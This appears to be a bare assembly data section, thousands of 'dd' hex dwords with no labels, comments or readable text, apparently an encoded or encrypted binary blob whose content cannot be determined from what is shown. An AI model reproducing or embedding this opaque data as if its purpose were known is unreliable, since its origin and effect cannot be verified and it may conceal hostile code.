dd 4AD21463h, 9D17D6B2h, 0DDEE49D3h, 1576616Bh, 77A54432h
dd 60AFE45Fh, 7B46C1ACh, 4946E692h, 60C8A175h, 940042CFh
dd 746DBEE9h, 156686DBh, 2E20A832h, 0FCCAB1A9h, 0D7CD0362h
dd 1A588352h, 156652B3h, 1B8F4232h, 4A661132h, 0E71C21B3h
dd 81AFD315h, 7EE84AE6h, 9407ED63h, 5D2D20DBh, 11A7C56Ch
dd 3C3CAA49h, 118F90CBh, 943C0049h, 5D2DECF3h, 922FDE6Ch
dd 92B4E6E3h, 9D6970E3h, 15664433h, 2BA1A3CAh, 94312B49h
dd 0AF0924DDh, 94A96D7Fh, 0AF098EF5h, 2B89907Fh, 7531B249h
dd 157ECE3Dh, 68F2232h, 3B661132h, 0F4B34F8Ch, 37C324EEh
dd 136D0ABAh, 0D8E78A43h, 0C4E60D7Ah, 966925C6h, 1566222Bh
dd 1575903Dh, 1B8F8832h, 85664432h, 219C3888h, 19990DD2h
dd 8EE539C5h, 4A301369h, 964216B9h, 1D8F15F6h, 52668832h
dd 6B11CE80h, 0E6A1B045h, 1A06E996h, 156688BAh, 0A3342532h
dd 0EA11AA32h, 964205B9h, 1B8F8CF6h, 0F2664432h, 47502D18h
dd 0C31AED5Bh, 5AA6610Eh, 0E4F3C9B6h, 0FC608A17h, 1566113Ch
dd 0BA7C9918h, 78E493A9h, 300C66D4h, 90EDA9C0h, 13CE8733h
dd 1AA6C1CAh, 156662B7h, 94007132h, 0ED5F8BD5h, 0C0E38253h
dd 52608A27h, 0AB00ED52h, 7D076CE9h, 0C1FCE3E0h, 80D3DDCAh
dd 0E060B93Dh, 7C170DBFh, 1A064299h, 156624BEh, 15E11E32h
dd 94668832h, 0D0520ED5h, 0C599435Ah, 0F4EF40CEh, 156249B3h
dd 0FCE54432h, 316AA536h, 3172986Eh, 1567083Dh, 0EA9E4432h
dd 1576CBE2h, 0D7301132h, 0D2FACF2Fh, 0F9E71CA1h, 0B7C040Ch
dd 0D5E3002Bh, 14750D3Dh, 9D694432h, 15662235h, 1567993Dh
dd 0ED9F8832h, 0B8BC1B9h, 9869249Ah, 1566112Ah, 15669BDBh
dd 42C75D32h, 459ECC98h, 79162679h, 0DEBC4F1Fh, 2D557534h
dd 9069E2B7h, 1566114Bh, 15668DDBh, 0B3E79632h, 90A0D9ABh
dd 13CE04E7h, 58FE87Eh, 0D664432h, 96BC2D2Ch, 81DFCC08h
dd 17345136h, 9EC49EBEh, 0FC0E43EAh, 75BFCB2Eh, 0B80954h
dd 0D6E72243h, 0EA078533h, 0BD698487h, 90EB7434h, 13CD2D43h
dd 17E02D52h, 75661132h, 0D92C3753h, 0FC0714A6h, 1566223Fh
dd 571B611Ch, 0A4788A16h, 0BFA1F9D6h, 0ECB6DD8Ch, 156619DBh
dd 45AC3C32h, 4C24347Fh, 0F4EF73F4h, 1562D0B3h, 0FCE78832h
dd 15664436h, 49422EB5h, 754205BBh, 8913DB89h, 0CCED221Dh
dd 1AB6DD53h, 156610BFh, 0D5E37D32h, 1549C13Dh, 0FC932232h
dd 1566118Ah, 17E08752h, 45664432h, 75064368h, 0CB67E6B3h
dd 4EDEA217h, 747187FAh, 156625DAh, 1A976132h, 92455825h
dd 4CA8CF54h, 0D1E3AB53h, 0E060BEB2h, 152AE85Ah, 3162CD32h
dd 77BC4ACEh, 21EF1132h, 1FEE8716h, 75664432h, 1566A83Dh
dd 0CCEC1132h, 8E30553h, 0EC60EFB8h, 9C69F2CDh, 15661139h
dd 15668EDBh, 3826FD32h, 1E9BE361h, 39E31EF2h, 1A668832h
dd 156643BDh, 0A2694232h, 74B59AC8h, 1566BBDBh, 1ED4B32h
dd 1A662232h, 15661FBDh, 156F6132h, 27E14432h, 5EDEE2AEh
dd 9CDCB26Dh, 1A7AAC76h, 156645B5h, 9E69DA32h, 1566113Ah
dd 1564043Dh, 74064432h, 0E9A5DB53h, 1569F852h, 8F428832h
dd 17B9C2C1h, 51213765h, 34B10137h, 0D1EB03A9h, 7560EBB2h
dd 753DBC8Ch, 0C502AA70h, 7507E9ECh, 7D07FF87h, 15665F38h
dd 1A4215BBh, 156680BCh, 17ED4B32h, 75662232h, 20957953h
dd 39EF8832h, 9CABCD16h, 1A067FDAh, 1F8FC885h, 0A4668832h
dd 1E65A4D3h, 70480561h, 0AC3770F5h, 1566880Eh, 0AF348533h
dd 15662232h, 1765DB33h, 9F69D168h, 15664439h, 15E22D52h
dd 95661132h, 0ED0725E7h, 15EEF4CDh, 21E72232h, 0A00BE316h
dd 0AA31D20Dh, 20D54726h, 0E2E76D75h, 1F607FD4h, 0FC397203h
dd 1566443Ch, 9F7565D8h, 0E959C31Ch, 39D60EC8h, 80EFFDB7h
dd 13CE251Fh, 9E00ED52h, 0AE35E9C8h, 156644CAh, 0CE477C1Fh
dd 10BE101Ch, 3BBDA96Ch, 949F2469h, 170ADE9h, 65997041h
dd 3172033Eh, 156280B3h, 9C692232h, 15661133h, 0B8F301CEh
dd 1A60EC3Bh, 156623B5h, 2199E832h, 0D1E7D016h, 15664436h
dd 74B5A952h, 314265CDh, 94428CB9h, 156640F6h, 8C4BDB32h
dd 1001F756h, 11D58EF4h, 0D34B8C1Bh, 10629134h, 728075ABh
dd 156685DBh, 9AE98632h, 89F4C8C0h, 0AE556B12h, 905DCE15h
dd 13CE4D9Fh, 153EA03Dh, 18F1132h, 97668832h, 0C80EDD47h
dd 0DCB69FDDh, 4A32321Dh, 0BD564C00h, 2ED29627h, 0BD610FB7h
dd 26E51E34h, 0ED668832h, 1A8E2453h, 29662232h, 33B13E8Fh
dd 0CC6719E3h, 0B8ED6A47h, 128FDBDCh, 12661132h, 1FDEC150h
dd 1A3CF284h, 156621B6h, 0CDD91E32h, 15624A53h, 0E007B8CBh
dd 124226F5h, 427AEA63h, 6A51D98Dh, 311A4518h, 39E77D36h
dd 6FEE4916h, 0AF347475h, 3DBB4E12h, 1D4276BBh, 310A9068h
dd 76595936h, 3122C579h, 93539336h, 14E21E10h, 0E0668832h
dd 7E8EFF61h, 0CDEF4734h, 318A3C69h, 0EC53DE80h, 0ED681074h
dd 5AC9AFBFh, 9E06179Ah, 0EA0771E5h, 0EC06BCD3h, 15669961h
dd 0FEE71132h, 4767CCA9h, 0D6E7B733h, 476766A9h, 1A3D12B8h
dd 156686B5h, 156FAD32h, 682A2232h, 0F19AA0B4h, 751BD26Ch
dd 0FDB7CF54h, 15662237h, 24D47DEDh, 4A3FDB35h, 1A8F7853h
dd 15676FB6h, 0AF007132h
dd 29074870h, 7FE24BDAh, 0FC662233h, 15661138h, 0E314E821h
dd 8DBAFD67h, 1A5A0A29h, 1501953Dh, 198F8832h, 0D8664432h
dd 0E432F4Ch, 0F66E2DD5h, 0FC3916B8h, 15664437h, 673ADFDAh
dd 1AAB2D88h, 156734B6h, 14E24B32h, 0E0662232h, 9169FA0Eh
dd 156689D1h, 156654DBh, 0E12BAE32h, 84D7C4E5h, 3C1C7E53h
dd 0D0D8F8CEh, 18F427Eh, 0C8661132h, 479D018Eh, 0EC57684Eh
dd 0A2E7877Bh, 0BAA96295h, 74EFA534h, 0E9A5BC53h, 14DC70CEh
dd 94661132h, 0FE4F56D8h, 9494456Ah, 0FE4FFCF0h, 4F7C9B6Ah
dd 7FD6D8CEh, 0D3428316h, 0F5B6EACCh, 3152BF1Eh, 0FC3E4B12h
dd 1566443Dh, 4F134F59h, 0F207CD0h, 0B3DA4C0Ch, 1A054A5Ch
dd 156625BEh, 90DC7132h, 74440B87h, 1AE6BFB2h, 0EA9985B7h
dd 1FEE1ECDh, 75668832h, 0DDE7C384h, 73221E18h, 0E2EF4653h
dd 314A0965h, 17B718D8h, 0FFA5A369h, 4A64C06Eh, 118A09CAh
dd 9C664432h, 13DF063Eh, 14661132h, 9769D1F9h, 15664425h
dd 156630DBh, 82C5FB32h, 71292867h, 0B6177AA3h, 79175D6h
dd 44AA5E2Ah, 15668A8Bh, 45974532h, 1566228Ah, 16AE1032h
dd 0E03FD02Ah, 1566DFDBh, 7D37DB32h, 15661133h, 9E97896Bh
dd 969E1D2Bh, 9169D9C9h, 156611C5h, 0D5713652h, 1C8F3B4Dh
dd 34662232h, 13573208h, 40F210FDh, 118AC753h, 944216BBh
dd 1EA13506h, 943DB9A9h, 8E6D83C1h, 9B69D703h, 1566112Ch
dd 15746052h, 6FA14432h, 0FD6B3152h, 73B85F2h, 592ABDC4h
dd 0ACB49CE7h, 61DC446Dh, 570E70E4h, 9C668854h, 14DE6036h
dd 14662232h, 4D7E12C2h, 10DCDAC7h, 14664432h, 3172A9E1h
dd 1562D5B3h, 9B698832h, 1566443Eh, 1560AE3Dh, 90691132h
dd 15668832h, 0EA98DFDBh, 7E92DCDh, 1A661132h, 156684B0h
dd 1561AD32h, 18002232h, 7FC1692Fh, 4BD08714h, 7306B833h
dd 1A764A88h, 156617B2h, 15E58732h, 74664432h, 1A48C9B1h
dd 0EA9872B6h, 258F71CDh, 0FC664432h, 15662238h, 0FBE57FA7h
dd 1E465BC5h, 959AE74Ch, 1A98234Ch, 0EA9852B7h, 94067DCDh
dd 683ED1FCh, 156ECB49h, 68231132h, 0BB3928B7h, 0FC079FCEh
dd 0EA99DEC8h, 156617DBh, 0D142A432h, 0FCAF0F00h, 15662223h
dd 0C87E21E6h, 44E49BEDh, 0E32B6279h, 0C3E494CCh, 0F0EF44D8h
dd 15624DB3h, 0F8E54432h, 314AA536h, 3152986Eh, 156684DBh
dd 80125832h, 126D45A5h, 0D3BE8877h, 118A0B7Ch, 1A4248BBh
dd 15662FBAh, 156EF832h, 0FF248832h, 0A0AE7030h, 9C31C782h
dd 11A190D5h, 96668832h, 29E140DDh, 9EF7E16h, 156EF816h
dd 0BA4D8832h, 320734D0h, 9F0EBE6Eh, 9C66113Dh, 0FD06AC0Eh
dd 1566443Ch, 0F250A859h, 6EB5F1E3h, 5503E9CCh, 9F69D72Bh
dd 15662232h, 0D557706Ah, 156680DBh, 0D6B26932h, 14054197h
dd 68FBD89h, 0F4668832h, 0C7F2DB45h, 17D6DE4Fh, 0B80E5800h
dd 0F0EC502Fh, 94067F9Eh, 0B7F99EDAh, 0EDD87763h, 9D37E9E1h
dd 0FFEE16F7h, 4C3CF1BAh, 156600DBh, 51451732h, 0ED503163h
dd 43ED3BFAh, 34DCD40h, 0A1367159h, 0E3A2BAC2h, 17D571E6h
dd 953DCD12h, 0F6469ADEh, 7EC4B6Ah, 0FC662232h, 1566113Fh
dd 0D5239414h, 56E39A39h, 31910B85h, 0FFE671D3h, 15766104h
dd 448C4432h, 9F944D51h, 60FE7785h, 0F55EC995h, 9507C5C2h
dd 916952C9h, 1566172Dh, 15669CDBh, 84CE8832h, 0D99D1108h
dd 3B186D56h, 0F4B34F8Ch, 37C324EEh, 1A691EBAh, 1566CAB6h
dd 9E06E832h, 74ADCFEBh, 1A8F1E53h, 156D77B6h, 156B6132h
dd 56F34432h, 0E4C19B5h, 1DAF32A0h, 29BE4774h, 56E24BD9h
dd 7566223Dh, 0C3BFC18Bh, 74B50362h, 9169A70Eh, 156621E7h
dd 156603DBh, 0E51BF632h, 9DC03AF6h, 3EAC937Eh, 773ECFA6h
dd 292F9596h, 93E24BD0h, 1A662222h, 15661DBDh, 13EE8732h
dd 1A664432h, 156622BCh, 3152EE32h, 11A20B6Dh, 3ADD2252h
dd 67A4A3DFh, 741A38BDh, 4E42BCCDh, 0FC6280B1h, 15662238h
dd 75C2D6A5h, 0A67576AFh, 21991782h, 0D1E77B16h, 15661136h
dd 315203C7h, 9487CD63h, 156626F3h, 11A79032h, 92668832h
dd 753A603Eh, 0FCA543CBh, 1566113Bh, 0DBBE992Ah, 7395BEC1h
dd 1568CB7Eh, 11FF1132h, 0F797657Eh, 621A6FE0h, 0FB2E3262h
dd 94F294F5h, 15608E9Dh, 96934432h, 11EF26DEh, 1566A916h
dd 0E5678832h, 1A3E5CB8h, 156623BAh, 9369E932h, 1566882Bh
dd 156650DBh, 0D51C0532h, 18B39AC4h, 5E3190B8h, 77AD02CEh
dd 429D8E97h, 440041E6h, 0F9EE1D87h, 0D9981D54h, 0D998FEC4h
dd 9561F5F2h, 0E1E6A3DEh, 4D856497h, 156CA03Dh, 108F1132h
dd 29668832h, 0F8A18261h, 1AE6D9B2h, 0EA990DB7h, 9669E8CDh
dd 15664431h, 429CA954h, 0E866AF54h, 0A833E96Dh, 15664433h
dd 0ED3BCC1Bh, 157F9C3Dh, 0FD068832h, 15664439h, 9AA3103h
dd 23C7C719h, 4E9C0F7Eh, 1566C93Dh, 9E072232h, 0BD6E2CB7h
dd 0AC93E834h, 380467A0h, 40F3A953h, 7560B919h, 0FD953F3Dh
dd 1566443Ch, 0F8E5E1F8h, 7EFA1A5Ch, 0A7F7C4Dh, 940070BBh
dd 4AE56ED8h, 9C314153h, 4A9E01C5h, 0E03E87BBh, 15609A62h
dd 0D6671132h, 96428CB9h, 976940F6h, 1566223Ah, 0CBED7752h
dd 749D0354h, 1564FE60h, 0E7672232h, 1566A863h, 0C4678832h
dd 4F3F5D31h, 1560A73Dh, 75061132h, 74AA0253h, 97699C09h
dd 15662228h, 90DE7752h, 16CA314Ah, 2E07512Eh, 5BE02DE8h
dd 1A99EECCh, 156689BDh, 0AA31B132h, 10A956ACh, 3C39EA33h
dd 8B8D09C9h, 1A638B46h, 156636B8h, 1569F832h, 909D8832h
dd 9663CD6Ch, 676984BDh, 434F5589h, 13D9DF42h, 94664432h
dd 73156CD9h, 949D3827h, 7315C6F1h, 93691B27h, 15662225h
dd 156603DBh, 0A4F47932h, 0E3B84E62h, 2D95D67Bh, 779048E0h
dd 75FDE710h, 156650DBh, 971B1232h, 0C4DCF0B9h, 0D12A456Fh
dd 370957A8h, 776B9F48h, 14ED1E75h, 0EC668832h, 75CB2253h
dd 156624DAh, 8341DA32h, 73540CAFh, 4B05758Dh, 9C7DCBB3h
dd 7307344Ah, 15686199h, 0C0534432h, 6BEBB425h, 0B6DA7EFFh
dd 3FCC7333h, 0D6579C03h, 108FFA03h, 0DB661132h, 2C7584E9h
dd 108F2499h, 2F662232h, 248804FEh, 1566063Dh, 47074432h
dd 15662688h, 9EB01032h, 0D1E7AC26h, 15664436h, 156628DBh
dd 44EE6032h, 8CB7B6C3h, 9C62C6FEh, 1A8F060Eh, 64661132h
dd 767566F5h, 83B00203h, 5905A24Ch, 61EF95B0h, 1F8F8416h
dd 0A9664432h, 36F34AB3h, 14326C08h, 0E0D301B4h, 7560EC34h
dd 0F9479A54h, 156614DBh, 94A69332h, 9E0762B6h, 9C34060Eh
dd 11A490D0h, 96668832h, 1E140F0h, 0FC067E16h, 1566113Dh
dd 6868A882h, 0DBC5D7F2h, 506417B6h, 476B5AE4h, 156681DBh
dd 0BD140E32h, 8F104DF5h, 743F7C8Fh, 4E42BCCDh, 156280B3h
dd 0E9062232h, 1577F852h, 2D228832h, 3599A4BFh, 0A3776CB5h
dd 623067B1h, 73163848h, 74B4BA88h, 2199DA53h, 0D1E54816h
dd 15636136h, 34874432h, 9EB4EB4Fh, 9C313506h, 11A109D5h
dd 96664432h, 29E126F5h, 42064D16h, 0A0183654h, 0A269126Dh
dd 40077CC0h, 0D0E7F4BBh, 15668836h, 926281B1h, 31ED061Eh
dd 156FF816h, 6C628832h, 8264DBC7h, 0FC2ADB08h, 0EA99CE25h
dd 81E34FCAh, 1760EBB3h, 0FC662232h, 15661134h, 943B3578h
dd 1E8FD10Dh, 0D4662232h, 7EEECAF8h, 0EDDD9E49h, 9C334725h
dd 21E777C7h, 0CE345416h
dd 0E6E7D323h, 4BD1677h, 1AE22D6Fh, 0FC661132h, 15668838h
dd 1E630538h, 0DDE3375Fh, 0A369562Eh, 156A613Ch, 0EDA4432h
dd 0C5A7DE0Eh, 9A66B21Fh, 0ECE634EFh, 4CE54BB2h, 1A662232h
dd 156619B0h, 17EB8732h, 75664432h, 9E8DA353h, 944FA946h
dd 4162FBF1h, 94AD453Eh, 416251D9h, 9EA5903Eh, 1A4F3046h
dd 156649B7h, 0CFD84232h, 94136AA5h, 0E5BEACDAh, 0A833251Eh
dd 0EA99DDCDh, 0EC3BFA1Bh, 156617DBh, 94002432h, 1AD795DCh
dd 156613BBh, 74A40332h, 0E383F761h, 0F095A2E1h, 3DE3D0B2h
dd 908F08EBh, 1EE84B69h, 75662232h, 2A85DFB3h, 0F1E6C9DCh
dd 473625B4h, 671E588h, 0E22C5B14h, 0D3A409E0h, 9C405725h
dd 0DD4F78E2h, 439E49A3h, 550E568Ch, 1080856Eh, 2DCEC4B3h
dd 94203213h, 414702C4h, 1988C530h, 3464770Ah, 95064FC3h
dd 0D5E65AD0h, 730625CAh, 73B2B78Ch, 9407DAB9h, 737D4DF1h
dd 0B08DC52Eh, 3C135E7Dh, 0B0A590F9h, 9413F47Dh, 737D81D9h
dd 1560CB2Eh, 69441132h, 0FC7A62AEh, 1D5BC1B9h, 48F249Ah
dd 0D4661132h, 0DEEA6112h, 1C6609D2h, 5B65D707h, 0C261EC47h
dd 3E331DB9h, 0FC06429Ah, 1566223Ch, 97C89CF4h, 48DDB92Ch
dd 0C8D1C3CDh, 9400D1E6h, 74B181E0h, 0D3D98752h, 1560CA3Dh
dd 93692232h, 15661132h, 84DB0B53h, 1460EC1Ah, 117FA63Dh
dd 0A5061132h, 0D4E7EE6Ah, 2C074650h, 1DE42DF1h, 75661136h
dd 2C077880h, 87E44BE1h, 0FC99DDC8h, 1566113Dh, 56348882h
dd 249FCD28h, 0FBE47C2Eh, 0FC4F5652h, 15668BD1h, 156642DBh
dd 35E4B232h, 0D2210F12h, 0BAE71CB7h, 15664634h, 1568CB32h
dd 499A1132h, 3E513471h, 5CB3FBD1h, 1E61831Bh, 156F9C3Dh
dd 0A2068832h, 0C5E72294h, 44078CE4h, 9C949860h, 0DEEFD2E3h
dd 0A369BD6Bh, 1577CB3Ch, 35291132h, 0F72C1C45h, 0AA72084Fh
dd 0CE54166Eh, 95B7A562h, 966908CBh, 15664451h, 12EB2DCBh
dd 75661132h, 45B50354h, 0FEE7256Ah, 5E07FD8h, 0AA31DA33h
dd 5E0D5D8h, 0E039BF33h, 3162DD61h, 96420DB9h, 95698CF6h
dd 1566442Ah, 0F9B99C52h, 1E8E123Fh, 0B4668832h, 5E0EE3A4h
dd 0ABB3A09Dh, 743F718Eh, 15663ADBh, 97692432h, 15662230h
dd 9C697052h, 15668834h, 1566C43Dh, 46072232h, 0EC4EEE85h
dd 964294B9h, 996940F6h, 15662222h, 156C943Dh, 108F8832h
dd 0C0664432h, 55D8B3D6h, 1566AE65h, 0DA4F8832h, 0DA57BD03h
dd 0FC39DB03h, 15661123h, 0E1D5FF67h, 4D9FB1Fh, 2184A9E7h
dd 3CA8FF5Ah, 20DED8FAh, 0E2283D4Bh, 53150FE2h, 0E2F7359Ah
dd 265319E3h, 2053FC55h, 53FFFA56h, 0FC3ED013h, 15668823h
dd 93043606h, 0ADB0025Ah, 774D6923h, 88207E77h, 48A5C5C6h
dd 3C2DD574h, 48DB44F9h, 3C2D7F74h, 9E0619D9h, 0EED12DFCh
dd 94007153h, 1A4827D8h, 9E07B685h, 0BD6E1FB7h, 12E11E34h
dd 1A668832h, 156645BDh, 80EDD732h, 13CE3A67h, 84DB0BCBh
dd 1460EC1Ah, 173FA63Dh, 0EC061132h, 5D7F59B3h, 2E073CCDh
dd 35E42DEAh, 0ED661132h, 0AADEEE52h, 9E001490h, 2C077CE3h
dd 0DFE01EE1h, 1A9977CAh, 156642B2h, 0DEEC4232h, 42079A83h
dd 0EC54028Dh, 52B9B331h, 6987D5B3h, 0E2E76910h, 6EBDC65Bh
dd 0FC39BA33h, 15662235h, 0EB95E35Ch, 0ED74219Bh, 0C5907C82h
dd 0C5904316h, 0F5A6F906h, 0A037EE37h, 738E6C83h, 0FCCCDE6Bh
dd 15661137h, 6AFB1B48h, 15DE1404h, 14662232h, 15DD42C2h
dd 14668832h, 4E6DCEF1h, 0AC00426Ah, 4607D9C9h, 9D370881h
dd 4CAECCEBh, 1569CB69h, 12FF1132h, 0C87C2741h, 79EC5DEBh
dd 5745BF9Dh, 156DF868h, 16628832h, 0BDB57BFDh, 0D64B52CCh
dd 7BD043BEh, 0F3B65EC4h, 0E3E68ACCh, 9E97021Ch, 0D1E53526h
dd 3E58736h, 0FC664432h, 15662223h, 0BC4CA01Eh, 8C38DD6Fh
dd 60B307B1h, 0AF6A76E0h, 0FCAE19ECh, 15668834h, 3BFAA486h
dd 0FCCCBD7Eh, 1566113Ah, 0E4DAEDE7h, 0C0032091h, 156632DBh
dd 9A84CD32h, 7952CE9Dh, 59662E83h, 1BE56C1Bh, 0D9A5902Ch
dd 3C73F40Eh, 0D9DE14C9h, 3C735E0Eh, 926949F1h, 15668833h
dd 11DE14CBh, 94662232h, 215C25F1h, 94A5A11Eh, 215C70D9h
dd 97697A1Eh, 15661133h, 24BEB9C7h, 0FCBE75F1h, 15662237h
dd 6D90AE9Ch, 759A23E4h, 0EDACCF54h, 118AA153h, 0AD4215BBh
dd 15668830h, 753E8233h, 746297CEh, 1393A4BBh, 1D8F8E9Ah
dd 0AB664432h, 0B0BC8360h, 0D2F20AE6h, 0BD4E19B7h, 15664534h
dd 4131DE32h, 11A1906Dh, 96668832h, 29E140F5h, 0E99A7E16h
dd 4E4225CDh, 75624CB1h, 74B4F33Dh, 4C4216CDh, 1562D5B3h
dd 138F8832h, 9C664432h, 2D208984h, 9C34ED1Dh, 0B0D8DED0h
dd 5339B451h, 0C391FCC5h, 0FBE7CFC5h, 0B5691465h, 9638B633h
dd 1E126F0h, 9D694D16h, 15668834h, 42A1CE52h, 9E69436Dh
dd 15661135h, 0AC007152h, 44079546h, 0D4E7C3BBh, 15661136h
dd 15623361h, 0CC674432h, 316AA569h, 156CF86Eh, 0AF458832h
dd 7637AE99h, 0A2ECD05Dh, 10EF1E52h, 0AA668832h, 1221CD0h
dd 156627DAh, 56C7DC32h, 1D8F1A01h, 0AC664432h, 8282C190h
dd 4AED26AEh, 0CC376153h, 7D9FBBCDh, 15667AC5h, 0EA4225BBh
dd 1A38AC3Eh, 156664B0h, 78E4232h, 99661132h, 1D9E7E0Dh
dd 3E4E6C1Dh, 38CB9A00h, 3BC8B06Ch, 9969D21Ch, 15664432h
dd 8DD57153h, 95DBFAB2h, 0DE9899F1h, 9D9887B2h, 9C6979EAh
dd 15661135h, 1567033Dh, 0BF9E4432h, 0AA3174CAh, 75B735C8h
dd 1142F41Bh, 0EF631C6Dh, 0FC06F316h, 15661123h, 867C65E5h
dd 552F9E0Fh, 413D6F2Fh, 0A41EF665h, 8063740Ch, 38032909h
dd 740F10DEh, 0F963E91Bh, 3807E100h, 700B7FA7h, 260C4ACBh
dd 1EF1132h, 15623216h, 0C54F4432h, 9969D768h, 1566112Ah
dd 15669BDBh, 15B67A32h, 0FF7A5F80h, 0E6CF09AEh, 0A981136Dh
dd 0C2EE83C9h, 1574CB99h, 0D101132h, 0FD83C641h, 7FC7065Ah
dd 0F6DF6022h, 9FE30EF7h, 15668FDBh, 1C81DA32h, 1F841BA0h
dd 94819865h, 15668CF5h, 11A1C732h, 3112DD65h, 11E94E36h
dd 9506D416h, 0C6ECCBE2h, 3152DD53h, 11A29069h, 1A668832h
dd 15664ABBh, 9E694232h, 15661132h, 7D3A68B3h, 9E073954h
dd 9C34063Eh, 11A490D0h, 96668832h, 1E140F0h, 94067E16h
dd 4429FFE5h, 0D7E7EE12h, 0EA07D228h, 94380606h, 156615F6h
dd 4E28732h, 1A664432h, 156629BAh, 1560F832h, 49E68832h
dd 0BEC69515h, 4584AB60h, 1566158Ah, 4DA48932h, 926286B1h
dd 1A3A0626h, 156610BDh, 178F7D32h, 7599BBE9h, 0B943F18Dh
dd 18F7057h, 33668832h, 0EDCDA4CBh, 0EDBBD1D5h, 8A30BFEBh
dd 0C67F888Fh, 0D252BCF0h, 0BAE7B6B7h, 15661434h, 15636132h
dd 0FC0C4432h, 443BA604h, 0DEEFE0BBh, 944284B9h, 156640F6h
dd 0AC37D732h, 15661136h, 50814BB3h, 0DE6714D8h, 5081C9B3h
dd 0FC3F41D8h, 15668839h, 0D9679E37h, 69E363B8h, 477F783Bh
dd 15668888h, 9EA4C532h, 14037931h, 9E8C90C0h, 1603D331h
dd 0AA061E28h, 40F5B5F1h, 7427E2B2h, 1D5B0DB9h, 58F429Ah
dd 71662232h, 4FC3595Fh, 7CC99040h, 0D43FD345h, 9E08BCB9h
dd 0BD4D44A7h, 14ED8734h, 0ED664432h, 0EA999B63h, 0DB67EECDh
dd 48EE86Bh, 45664432h, 40B63B5Dh, 0B3224381h, 57D487D4h
dd 9B2761A1h, 2A7DA88Ch, 74934B4Fh, 32FF35B1h, 1A67429Ah
dd 156019B6h, 0CD5DE832h
dd 15460A3Dh, 93694432h, 15662233h, 1ABC2ACBh, 1567E1B4h
dd 156AAD32h, 0CD842232h, 4695EC3Bh, 0A088D97Dh, 0A0EFFDB4h
dd 13CE24C7h, 15619C3Dh, 96698832h, 15664433h, 1576CBC7h
dd 5E21132h, 0FA30B6AEh, 85D340Eh, 0D52173B4h, 88EDB5CFh
dd 13C909A6h, 157FC13Dh, 18F2232h, 7E661132h, 7F3E5EB2h
dd 26A07343h, 0E9706075h, 1B88B951h, 947EF8D1h, 976A605Eh
dd 9438090Dh, 726A3576h, 1452F108h, 946A606Eh, 726A065Eh
dd 94526808h, 976AAC76h, 0EC386F0Dh, 1563B9DBh, 1EEF1E32h
dd 0FC668832h, 15664434h, 16614B6Dh, 9E063C92h, 0A269E8E8h
dd 9EDD22E8h, 9E0743C5h, 9C35350Eh, 11A509D1h, 94664432h
dd 156626F1h, 317A9632h, 90A1716Eh, 13CE63ABh, 15662233h
dd 1569913Dh, 1F8F8832h, 13664432h, 1A9DE6E9h, 0B47A3343h
dd 3152774Eh, 11A2C569h, 75662232h, 1565943Dh, 0C5E68832h
dd 11ED4B33h, 73662232h, 7440268Bh, 454284B9h, 1163A4BBh
dd 96662232h, 11E115F2h, 9E9ED416h, 9C376006h, 11A7A3D3h
dd 94661132h, 15668CF3h, 316AC332h, 1FEB2D6Eh, 0FC661132h
dd 15668837h, 77B9E22Dh, 118AA3C3h, 9C661132h, 0F7EFAC26h
dd 156286B3h, 0D7E52232h, 31729636h, 9E00E86Eh, 0FC07BDF0h
dd 0EA99F749h, 15661CDBh, 9C08232h, 5696F6F7h, 1D7D9A42h
dd 0A8E5542Ah, 13CEA0A3h, 0B8E24B33h, 0ED662236h, 1D5B8C19h
dd 90698E9Ah, 15664435h, 1567AE3Dh, 9E9A1132h, 0BD7C19BFh
dd 0D7ED2434h, 20A7A353h, 941BAB10h, 0D15A24DBh, 94BF4541h
dd 0D15A8EF3h, 208F9041h, 751B3210h, 1563CC3Dh, 94002232h
dd 0FCBCD0DDh, 1566883Dh, 0F0D5D2E7h, 0CBEEFA49h, 9A8AF1D6h
dd 749A023Bh, 1567C53Dh, 429E2232h, 306F7E8Dh, 5AB17F40h
dd 0E2E79BC5h, 16A5195Dh, 3C39E833h, 0B8F09CBh, 0ED17A200h
dd 9C62CEB1h, 10D83506h, 3C668832h, 18F1AC3h, 0AA662232h
dd 27C218B3h, 72280D59h, 96E01B7Ah, 4C899B34h, 462D739Bh
dd 0D5893963h, 0D4E643DBh, 38FA2CCh, 9D3FDABAh, 1D8FD3EAh
dd 0ED664432h, 0DA3A00Dh, 0BF875D6Ah, 24AEB9C7h, 1AAE75F3h
dd 156625B2h, 0C8DF7132h, 7476D7EAh, 9C37B199h, 0D0DC70D3h
dd 941CF72Dh, 0F37949D8h, 4FB74548h, 9262E3B1h, 0FC3A353Eh
dd 1566883Dh, 0F34F3072h, 0FDAFE12Ah, 23F3DCCEh, 9EDCF5EAh
dd 9C35602Eh, 11A5A3D1h, 96661132h, 9E18CF1h, 92691816h
dd 15662223h, 15661DDBh, 558AAB32h, 0D071EE94h, 0EAB78E69h
dd 3152EED9h, 11A2096Bh, 0E9664432h, 424216B9h, 0D2E7F6BBh
dd 15668836h, 156283B3h, 29E12232h, 97694D16h, 1566883Dh
dd 15664EDBh, 44C12732h, 5798FBC4h, 4099F5D5h, 0D0E7A1BBh
dd 15662236h, 9262D4B1h, 31EDAC1Eh, 1AE54B16h, 75662232h
dd 0FCB6A63Dh, 15668837h, 0E087C8EDh, 0EF8F4325h, 0FC99EEE4h
dd 15668838h, 1A5E620Eh, 0AA2347E6h, 90A1FF75h, 13C909A6h
dd 15664430h, 15662FDBh, 0AB1D8232h, 0B16563B8h, 0F8D92F6Eh
dd 9C311800h, 9E9D98C5h, 0D1E5AC0Eh, 1EE94B36h, 75662232h
dd 1A9C9A54h, 156688B1h, 0A3692532h, 1572CB3Ch, 93CC1132h
dd 4ACCF6D2h, 5465B2FAh, 39FB6CEh, 0FBA9BDEBh, 0ECE68D79h
dd 5CE54BB2h, 0FC662232h, 15661139h, 70589511h, 70C8A225h
dd 94AE3675h, 0C44CA9F1h, 43AD897Bh, 0C44CFC8Ch, 4B950B7Bh
dd 15661DDBh, 0CB0C0732h, 2ADC0B64h, 0DE1B7966h, 0EAD94601h
dd 3C9977CDh, 1A931BC9h, 156623B3h, 828FE832h, 0E0668832h
dd 9599F260h, 0E44E18DBh, 4F5CD0B2h, 15668EDBh, 0C5FA6632h
dd 4660384Ch, 15661189h, 5DA50932h, 3C15DC3Eh, 5D8DA3F9h
dd 9C15893Eh, 1F8FD3EBh, 1D664432h, 0DB8D6500h, 978B6EEh
dd 118A09EFh, 9C664432h, 0EAD80606h, 34661132h, 1A8FD6C3h
dd 10664432h, 7C1833F4h, 96C1D602h, 6956B0C3h, 0AD360638h
dd 1BC05CEFh, 9D3D7D17h, 128E490Dh, 24FE717Ah, 0C5911229h
